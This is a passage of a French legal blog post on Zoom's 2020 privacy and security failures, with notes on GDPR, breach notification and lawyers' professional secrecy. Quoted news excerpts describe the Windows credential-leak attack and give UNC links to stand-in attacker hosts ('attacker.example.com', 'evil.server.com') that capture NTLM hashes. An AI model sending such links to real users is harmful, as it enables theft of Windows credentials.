Act interception. Data sent outside the EU in China without users knowledge. \"As <a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings. But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de visio-conférence révélant le ID number du meeting et les images des participants accompagnées de leur noms ou pseudonymes peut être considérées comme une rupture de confidentialité,</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du conseil ou leur AG.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés à propos des manquements de cet outil, comme le New York Attorney General investigations demandant aux écoles de ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant la popularité de cet outil de visio-conférence, les cris d’alarmes continuent à se faire entendre contre l’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“<a rel=\"noreferrer noopener\" href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\">Jonathan Leitschuh</a>, exposed a flaw allowing hackers to&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\">take over Zoom webcams</a>. The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade Commission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\">Zoom</a>&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user. As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks,” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">the complaint alleged.</a></em>” </li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to \"open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\" <a href=\"https://lnkd.in/epjxHgw\">Here’s the press release</a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy,” said Attorney General Tong. “ In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform. • Consult your software company’s security information or your IT department. <a href=\"https://lnkd.in/gRcq9x2\">Here\'s the press release</a> <strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être la responsabilité des juristes en matière de traitement des données consécutifs à l’utilisation d’une application qui a soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. La loi du 31 décembre 1971, et plus particulièrement les dispositions de son article 66-5 impliquent qu’« <em>en toutes matières, que ce soit dans le domaine du conseil ou dans celui de la défense, les consultations adressées par un avocat à son client ou destinées à celui-ci, les correspondances échangées entre le client et son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières de celles portant la mention « officielle », les notes d’entretien et, plus généralement, toutes les pièces du dossier sont couvertes par le secret professionnel</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La CNIL explique&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L\'AIPD&nbsp;se décompose en trois parties :</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Une description détaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects techniques qu’opérationnelsL’évaluation, de nature plus juridique, de la nécessité et de la proportionnalité concernant les principes et droits fondamentaux&nbsp; (finalité, données et durées de conservation, information et droits des personnes, etc.) non négociables, qui sont fixés par la loi et doivent être respectés, quels que soient les risques ;  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus technique, des risques sur la sécurité des données&nbsp;(confidentialité, intégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur la vie privée, qui permet de déterminer les mesures techniques et organisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement envisagé figure dans&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\"><em>la liste des types d’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a estimé obligatoire de réaliser une analyse d’impact relative à la protection des données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement remplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices du G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage à la mise en cause de sa responsabilité. Les ordres professionnels devraient être sensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une solution conforme aux exigences du règlement. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en 